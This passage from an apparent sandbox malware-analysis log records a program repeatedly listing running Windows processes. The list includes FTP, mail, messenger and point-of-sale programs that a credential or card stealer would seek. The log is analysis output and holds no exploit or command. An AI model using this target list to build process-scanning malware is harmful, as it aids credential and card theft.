cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0264.493] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0264.495] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0264.497] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0264.499] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0264.501] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0264.508] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0264.510] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0264.512] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0264.515] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0264.517] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0264.569] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0264.572] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0264.574] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0264.576] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0264.578] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0264.580] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0264.582] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0264.584] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0264.586] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0264.588] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0264.591] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0264.594] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0264.596] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0264.599] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0264.601] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0264.604] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0264.606] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0264.609] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0264.611] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0264.664] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0264.667] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0264.670] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0264.672] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0264.674] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0264.677] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0264.679] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0264.681] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0264.684] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0264.686] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0264.689] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0264.691] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0264.694] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0264.696] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0264.698] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0264.700] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0264.703] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0264.705] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0264.758] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0264.760] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0264.763] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0264.765] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0264.767] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0264.770] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0264.772] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0264.774] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0264.776] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0264.780] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0264.782] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0264.784] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0264.787] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0264.789] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0264.791] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0264.793] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0264.795] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x360, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0264.797] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 1 [0264.850] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0264.852] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 0 [0264.854] CloseHandle (hObject=0x1024) returned 1 [0264.854] Sleep (dwMilliseconds=0x64) [0264.895] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1024 [0264.910] Process32First (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0264.912] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x72, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0264.914] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0264.916] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0264.918] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0264.921] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0264.958] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0264.961] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0264.963] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0264.965] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.967] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.969] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0264.971] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x48, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.973] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.975] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.977] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.979] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, 